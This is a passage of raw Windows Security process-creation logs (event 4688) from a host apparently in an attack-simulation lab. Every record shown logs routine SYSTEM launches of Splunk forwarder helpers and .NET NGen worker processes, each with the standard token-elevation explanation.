Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254530
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254539
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254538
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254537
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 69c -Pipe 6a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 76c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 788 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254540
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254542
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 69c -Pipe 76c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254541
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 780 -InterruptEvent 0 -NGENProcess 5f8 -Pipe 784 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254544
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 770 -Pipe 698 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254543
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 7b4 -Pipe 6dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254546
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 514 -Pipe 6e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254545
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 7ac -Pipe 7c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254550
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 73c -InterruptEvent 0 -NGENProcess 514 -Pipe 7d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254549
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254548
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 514 -Pipe 5f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254547
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d0 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254552
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6e0 -Pipe 5f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 730 -Pipe 73c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254558
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
